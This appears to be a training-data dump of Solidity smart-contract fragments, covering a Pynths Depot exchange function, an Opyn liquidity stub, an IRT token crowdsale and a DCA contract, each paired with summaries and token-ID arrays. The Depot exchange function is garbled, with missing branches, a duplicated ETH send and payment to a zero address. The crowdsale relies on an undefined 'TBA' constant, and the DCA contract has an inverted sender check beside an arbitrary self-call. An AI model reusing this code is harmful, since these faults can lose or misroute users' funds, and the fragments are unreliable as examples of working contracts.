[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18305, 12, 11890, 389, 8949, 13, 1071, 1338, 5541, 1135, 12, 6430, 13, 288, 203, 3639, 2583, 24899, 8949, 405, 374, 16, 315, 14959, 3844, 16219, 8863, 203, 3639, 2583, 12, 70, 26488, 63, 3576, 18, 15330, 65, 405, 389, 8949, 16, 315, 1248, 7304, 2430, 358, 18305, 8863, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 3947, 389, 8949, 31, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xc2004704209C69F7ECAdCc15e732e1e5e0D612F4/sources/Depot.sol
The multiplication works here because exchangeRates().rateForCurrency(ETH) is specified in 18 decimal places, just like our currency base. Iterate through our outstanding deposits and sell them one at a time. If it's an empty spot in the queue from a previous withdrawal, just skip over it and update the queue. It's already been deleted. If the deposit can more than fill the order, we can do this without touching the structure of our queue. Ok, this deposit can fulfill the whole remainder. We don't need to change anything about our queue we can just fulfill it. Subtract the amount from our deposit and total. Transfer the ETH to the depositor. Send is used instead of transfer so a non payable contract won't block the FIFO queue on a failed ETH payable for pynths transaction. The proceeds to be sent to the pynthetix foundation funds wallet. This is to protect all depositors in the queue in this rare case that may occur. We need to use send here instead of transfer because transfer reverts if the recipient is a non-payable contract. Send will just tell us it failed by returning false at which point we can continue. We need to use send here instead of transfer because transfer reverts if the recipient is a non-payable contract. Send will just tell us it failed by returning false at which point we can continue. Ok, if we're here and 'remainingToFulfill' isn't zero, then we need to refund the remainder of their ETH back to them. Now tell everyone that we gave them that many (only if the amount is greater than 0).
function _exchangeEtherForPynths() internal returns (uint) { require(msg.value <= maxEthPurchase, "ETH amount above maxEthPurchase limit"); uint ethToSend; uint requestedToPurchase = msg.value.multiplyDecimal(exchangeRates().rateForCurrency(ETH)); uint remainingToFulfill = requestedToPurchase; for (uint i = depositStartIndex; remainingToFulfill > 0 && i < depositEndIndex; i++) { PynthDepositEntry memory deposit = deposits[i]; if (deposit.user == address(0)) { depositStartIndex = depositStartIndex.add(1); if (deposit.amount > remainingToFulfill) { uint newAmount = deposit.amount.sub(remainingToFulfill); totalSellableDeposits = totalSellableDeposits.sub(remainingToFulfill); ethToSend = remainingToFulfill.divideDecimal(exchangeRates().rateForCurrency(ETH)); if (!deposit.user.send(ethToSend)) { fundsWallet.transfer(ethToSend); emit NonPayableContract(deposit.user, ethToSend); emit ClearedDeposit(msg.sender, deposit.user, ethToSend, remainingToFulfill, i); } if (!deposit.user.send(ethToSend)) { fundsWallet.transfer(ethToSend); emit NonPayableContract(deposit.user, ethToSend); emit ClearedDeposit(msg.sender, deposit.user, ethToSend, deposit.amount, i); } } } } if (remainingToFulfill > 0) { msg.sender.transfer(remainingToFulfill.divideDecimal(exchangeRates().rateForCurrency(ETH))); } if (fulfilled > 0) { emit Exchange("ETH", msg.value, "sUSD", fulfilled); } return fulfilled; }
3,372,648
[ 1, 1986, 23066, 6330, 2674, 2724, 7829, 20836, 7675, 5141, 1290, 7623, 12, 1584, 44, 13, 353, 1269, 316, 6549, 6970, 12576, 16, 2537, 3007, 3134, 5462, 1026, 18, 11436, 3059, 3134, 20974, 443, 917, 1282, 471, 357, 80, 2182, 1245, 622, 279, 813, 18, 971, 518, 1807, 392, 1008, 16463, 316, 326, 2389, 628, 279, 2416, 598, 9446, 287, 16, 2537, 2488, 1879, 518, 471, 1089, 326, 2389, 18, 2597, 1807, 1818, 2118, 4282, 18, 971, 326, 443, 1724, 848, 1898, 2353, 3636, 326, 1353, 16, 732, 848, 741, 333, 2887, 6920, 310, 326, 3695, 434, 3134, 2389, 18, 16154, 16, 333, 443, 1724, 848, 22290, 326, 7339, 10022, 18, 1660, 2727, 1404, 1608, 358, 2549, 6967, 2973, 3134, 2389, 732, 848, 2537, 22290, 518, 18, 2592, 1575, 326, 3844, 628, 3134, 443, 1724, 471, 2078, 18, 12279, 326, 512, 2455, 358, 326, 443, 1724, 280, 18, 2479, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 16641, 41, 1136, 1290, 52, 878, 451, 87, 1435, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 2583, 12, 3576, 18, 1132, 1648, 943, 41, 451, 23164, 16, 315, 1584, 44, 3844, 5721, 943, 41, 451, 23164, 1800, 8863, 203, 3639, 2254, 13750, 28878, 31, 203, 203, 3639, 2254, 3764, 774, 23164, 273, 1234, 18, 1132, 18, 7027, 1283, 5749, 12, 16641, 20836, 7675, 5141, 1290, 7623, 12, 1584, 44, 10019, 203, 3639, 2254, 4463, 774, 23747, 5935, 273, 3764, 774, 23164, 31, 203, 203, 3639, 364, 261, 11890, 277, 273, 443, 1724, 16792, 31, 4463, 774, 23747, 5935, 405, 374, 597, 277, 411, 443, 1724, 24152, 31, 277, 27245, 288, 203, 5411, 453, 878, 451, 758, 1724, 1622, 3778, 443, 1724, 273, 443, 917, 1282, 63, 77, 15533, 203, 203, 5411, 309, 261, 323, 1724, 18, 1355, 422, 1758, 12, 20, 3719, 288, 203, 7734, 443, 1724, 16792, 273, 443, 1724, 16792, 18, 1289, 12, 21, 1769, 203, 7734, 309, 261, 323, 1724, 18, 8949, 405, 4463, 774, 23747, 5935, 13, 288, 203, 10792, 2254, 394, 6275, 273, 443, 1724, 18, 8949, 18, 1717, 12, 17956, 774, 23747, 5935, 1769, 203, 203, 10792, 2078, 55, 1165, 429, 758, 917, 1282, 273, 2078, 55, 1165, 429, 758, 917, 1282, 18, 1717, 12, 17956, 774, 23747, 5935, 1769, 203, 203, 10792, 13750, 28878, 273, 4463, 774, 23747, 5935, 18, 2892, 831, 5749, 12, 16641, 20836, 7675, 5141, 1290, 7623, 12, 1584, 44, 10019, 203, 203, 10792, 309, 16051, 323, 1724, 18, 1355, 2 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0; /** * @dev "Pseudo" smart-contract that describes the issues on the README.md */ contract OpynTogether { /** * @dev Struct that outlines the "Participant" in the liquidity program */ struct Participant { address user; uint256 liquidityAmount; } /** * @dev Struct that outlines the "Position" * * Describes a liquidity position */ struct Position { address liquidityPool; uint256 timeOfExpiration; mapping(address => Participant) participants; bool open; } /** * @dev Mapping that contains a pair of the oToken address to a Position (if it still exists) */ mapping(address => Position) public positions; /** * @dev uint256 that contains the amount of time before a liquidity provider can withdraw prior to expiration. */ uint256 public allowedTimeBeforeExpiration; address public admin; event PositionOpened(address oToken); event PositionClosed(address oToken); constructor(address _admin, uint256 _allowedTimeBeforeExpiration) { require( _admin != address(0), "Zero address" ); admin = _admin; allowedTimeBeforeExpiration = _allowedTimeBeforeExpiration; } modifier onlyAdmin { _onlyAdmin(); _; } modifier onlyParticipant(address _oToken) { _onlyParticipant(_oToken); _; } function openNewPosition( address _oToken, address _liquidityPool ) external { require( _oToken != address(0), "Zero address" ); Position storage position = positions[_oToken]; if(_liquidityPool == address(0)) { // Create a new Uniswap v1 (?) pool } else { position.liquidityPool = _liquidityPool; } //position.timeOfExpiration = make a call to the oToken and grab its expiration value position.open = true; emit PositionOpened(_oToken); } function closePosition( address _oToken ) external onlyParticipant(_oToken) { // Require statement for oToken to check if zero address is not needed due to modifier Position storage position = positions[_oToken]; require( position.timeOfExpiration >= block.timestamp, "Cannot close position" ); position.open = false; emit PositionClosed(_oToken); } function depositIntoPosition( address _oToken, uint256 _oTokenDeposit ) external onlyParticipant(_oToken) { Position storage position = positions[_oToken]; // ERC20 transferFrom from msg.sender to liquidity pool position.participants[msg.sender].liquidityAmount += _oTokenDeposit; } function withdrawInPosition( address _oToken, uint256 _oTokenWithdraw ) external onlyParticipant(_oToken) { Position storage position = positions[_oToken]; // Make a call to withdraw _oTokenWithdraw... position.participants[msg.sender].liquidityAmount -= _oTokenWithdraw; } function changeAllowedTimeBeforeExpiration( uint256 _newTime ) external onlyAdmin { allowedTimeBeforeExpiration = _newTime; } function changeAdmin(address _admin) external onlyAdmin { require( _admin != address(0), "Zero address" ); admin = _admin; } function _onlyParticipant(address _oToken) internal view { require( positions[_oToken].participants[msg.sender].user != address(0), "Unauthorized (participant)" ); } function _onlyAdmin() internal view { require( msg.sender == admin, "Unauthorized" ); } }
ERC20 transferFrom from msg.sender to liquidity pool
function depositIntoPosition( address _oToken, uint256 _oTokenDeposit ) external onlyParticipant(_oToken) { Position storage position = positions[_oToken]; position.participants[msg.sender].liquidityAmount += _oTokenDeposit; }
15,829,762
[ 1, 654, 39, 3462, 7412, 1265, 628, 1234, 18, 15330, 358, 4501, 372, 24237, 2845, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 5952, 2555, 12, 203, 3639, 1758, 389, 83, 1345, 16, 203, 3639, 2254, 5034, 389, 83, 1345, 758, 1724, 203, 565, 262, 203, 3639, 3903, 1338, 22540, 24899, 83, 1345, 13, 203, 565, 288, 203, 3639, 11010, 2502, 1754, 273, 6865, 63, 67, 83, 1345, 15533, 203, 203, 3639, 1754, 18, 2680, 27620, 63, 3576, 18, 15330, 8009, 549, 372, 24237, 6275, 1011, 389, 83, 1345, 758, 1724, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; /* -------------------------------------------------------------------------- */ /* IsraTo SALE CONTRACT */ /* -------------------------------------------------------------------------- */ /* This contract controls the crowdsale of IRT tokens */ /* -------------------------------------------------------------------------- */ /* ÐΞV: [email protected] */ /* -------------------------------------------------------------------------- */ import './SafeMath.sol'; import './Ownable.sol'; import './IRTToken.sol'; contract Crowdsale is Ownable { using SafeMath for uint256; /** * Event for token purchase logging * @param purchaser Who paid for the tokens * @param beneficiary Who got the tokens * @param weiAmount Weis paid for purchase * @param quantity Quantity of tokens purchased */ event LogTokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 weiAmount, uint256 quantity ); event LogFinalized(); IRTToken public token; // the token being sold /* UNIX timestamp of each event */ uint256 public constant startDate = TBA; uint256 public constant endDate = TBA; /* Wallet Addresses */ address public wallet; address public foundersBank; address public bountyBank; address public investorsBank; address public advisorsBank; bool public isFinalized = false; // Crowdsale is finalized enum FundingState { Pending, // Contract initialized Funding, // Ongoing Token Sale Complete // Token Sale Complete } FundingState public state = FundingState.Pending; uint256 public tokenSold = 0; // total tokens sold during the crowdsale uint256 public rate = 666; // token units per wei (1 ETH => 666 IRT) /* Total amount of raised money (in weis) */ uint256 public weiRaised = 0; /* Max amount to be raised in weis */ uint256 public constant hard_cap = 31250 * 1 ether; // 31,250 ETH /* Token distribution (operations, founders, bounty etc.) */ uint256 public constant crowdsaleAllocation = 125000000 * 10**18; // 125,000,000 IRT (50% of supply) uint256 public constant operationsAllocation = 45000000 * 10**18; // 45,000,000 IRT (18% of supply) uint256 public constant foundersAllocation = 30000000 * 10**18; // 30,000,000 IRT (12% of supply) uint256 public constant bountyAllocation = 20000000 * 10**18; // 20,000,000 IRT (8% of supply) uint256 public constant investorsAllocation = 17500000 * 10**18; // 17,500,000 IRT (7% of supply) uint256 public constant advisorsAllocation = 12500000 * 10**18; // 12,500,000 IRT (5% of supply) /* Founder's tokens locked for 365 days after campaign is over */ uint256 public constant foundersLockup = 365 days; uint256 public foundersPaymentCount = 0; // number of payments made to founder /** * Contract's constructor */ function Crowdsale(address _wallet, address _founders, address _bounty, address _investors, address _advisors) { require(_wallet != 0x0); require(_founders != 0x0); require(_bounty != 0x0); require(_investors != 0x0); require(_advisors != 0x0); token = new IRTToken(); token.mint(msg.sender, operationsAllocation); token.mint(_bounty, bountyAllocation); token.mint(_investors, investorsAllocation); token.mint(_advisors, advisorsAllocation); wallet = _wallet; foundersBank = _founders; bountyBank = _bounty; investorsBank = _investors; advisorsBank = _advisors; updateStateMachine(); } /** * Fallback function can be used to buy tokens */ function () payable { buy(); } /** * @dev The basic entry point to contribute to the crowdsale */ function buy() public payable { buyInternal(msg.sender); } function buyFor(address beneficiary) public payable { buyInternal(beneficiary); } /** * @dev Private token purchase function */ function buyInternal(address beneficiary) private { updateStateMachine(); require(beneficiary != 0x0); require(isValidTransaction()); uint256 weiAmount = msg.value; uint256 quantity = weiAmount.mul(rate); tokenSold = tokenSold.add(quantity); /* total weis raised in the crowdsale */ weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, quantity); LogTokenPurchase(msg.sender, beneficiary, weiAmount, quantity); wallet.transfer(msg.value); // direct deposit to the wallet } function updateStateMachine() private returns (bool) { if (state == FundingState.Complete) { return false; } /* Switch to Pending if campaign is not started yet */ if (now<startDate) { state = FundingState.Pending; return false; } /* Switch to Complete if hard cap is reached or campaign ended */ if (weiRaised>=hard_cap || now>endDate) { state = FundingState.Complete; return false; } /* During the campaign ... */ if (now>=startDate && now<=endDate) { /* Switch from Pending to Funding */ if (state == FundingState.Pending) { state = FundingState.Funding; } if (now >= startDate) rate = 6000; if (now >= (startDate + 4 hours)) rate = 5500; if (now >= (startDate + 24 hours)) rate = 5000; if (now >= (startDate + 2 days)) rate = 4750; if (now >= (startDate + 7 days)) rate = 4500; if (now >= (startDate + 14 days)) rate = 4250; if (now >= (startDate + 25 hours)) rate = 4000; } } /** * @return true if the transaction is possible */ function isValidTransaction() internal constant returns (bool) { bool nonZeroPurchase = msg.value != 0; bool notPending = state != FundingState.Pending; bool notComplete = state != FundingState.Complete; return nonZeroPurchase && notPending && notComplete; } /** * @return true if the token sale event has ended */ function hasEnded() public constant returns (bool) { bool timeout = now > endDate; bool hard_cap_reached = weiRaised >= hard_cap; return timeout || hard_cap_reached; } /** * @dev Can only be called after sale ends */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); LogFinalized(); isFinalized = true; } /* ---------------------------------------------------------------------- */ /** * @dev Function to distribute tokens to the founders. * * Founders' tokens are locked for a period of 365 days * after the sale ends, then: * - They can only get 10 payments * - Each payment = 10% of the founders' allocation */ function payFounders() onlyOwner public { require(foundersPaymentCount<10); require(now >= endDate + foundersLockup + (foundersPaymentCount * 30 days)); foundersPaymentCount++; token.mint(foundersBank, foundersAllocation.div(10)); } } /* -------------------------------------------------------------------------- */
total tokens sold during the crowdsale
uint256 public tokenSold = 0;
12,779,446
[ 1, 4963, 2430, 272, 1673, 4982, 326, 276, 492, 2377, 5349, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 11890, 5034, 1071, 1147, 55, 1673, 273, 374, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x9662833c1FC8f2AfF8569816208E8f7653eC8af4/sources/YouAreTheChampion.sol
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation./
function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, MathUpgradeable.log256(value) + 1); } }
2,889,376
[ 1, 5692, 279, 1375, 11890, 5034, 68, 358, 2097, 11768, 1375, 1080, 68, 20070, 4335, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18272, 12, 11890, 5034, 460, 13, 2713, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 565, 22893, 288, 203, 3639, 327, 18272, 12, 1132, 16, 2361, 10784, 429, 18, 1330, 5034, 12, 1132, 13, 397, 404, 1769, 203, 565, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.21 <0.6.0; import "openzeppelin-solidity/contracts/introspection/IERC1820Registry.sol"; import "openzeppelin-solidity/contracts/utils/Address.sol"; import "../interfaces/IDDAI.sol"; // Dollar cost averaging manager // Account should be operator and stack manager contract DCA { using Address for address; address public ddai; bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); address payable internal msgSender; struct UserData { uint256 amount; uint256 next; uint256 interval; uint256 amountLeft; uint256 feePerInterval; } mapping(address => UserData) public dataOf; constructor(address _ddai) public { ddai = _ddai; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function set(uint256 _amount, uint256 _next, uint256 _interval, uint256 _totalAmount, uint256 _feePerInterval) external { dataOf[_msgSender()] = UserData({ amount: _amount, next: _next, interval: _interval, amountLeft: _totalAmount, feePerInterval: _feePerInterval }); if(_next < block.timestamp) { poke(_msgSender(), 0); } } function poke(address _account, uint256 _minFee) public returns(bool) { UserData storage userData = dataOf[_account]; // If its not yet time to do dollar cost averaging or fee is too low do nothing // Not reverting to not break batches if(userData.next > block.timestamp) { return false; } uint256 intervalsAmount = 1; // Check if we should do more than one buy interval if(userData.next < block.timestamp) { intervalsAmount += (block.timestamp - userData.next) / userData.interval; } uint256 totalFee = userData.feePerInterval * intervalsAmount; if(_minFee > totalFee) { return false; } IDDAI ddaiContract = IDDAI(ddai); uint256 dcaAmount = userData.amount * intervalsAmount; ddaiContract.setStack(_account, dcaAmount); ddaiContract.distributeStack(_account); // transfer fee if(_account != _msgSender()){ ddaiContract.operatorSend(_account, _msgSender(), totalFee, "", ""); } return true; } function pokeBatch(address[] calldata _accounts, uint256 _minFee) external { for(uint256 i = 0; i < _accounts.length; i ++) { poke(_accounts[i], _minFee); } } function tokensReceived( address _operator, address _from, address _to, uint256 _amount, bytes calldata _userData, bytes calldata _operatorData ) external { require(msg.sender == ddai, "DCA.tokensReceived: MSG_SENDER_INVALID"); require(_amount == 0, "DCA.tokensReceived: AMOUNT_SHOULD_BE_ZERO"); require(_to == address(this), "DCA.tokensReceived: TO_SHOULD_BE_THIS"); msgSender = _from.toPayable(); address(this).call(_userData); delete(msgSender); } function _msgSender() internal returns (address payable) { // if being called from self msgSender is saved in storage if(msg.sender != address(this)) { return msgSender; } return msg.sender; } }
If its not yet time to do dollar cost averaging or fee is too low do nothing Not reverting to not break batches Check if we should do more than one buy interval transfer fee
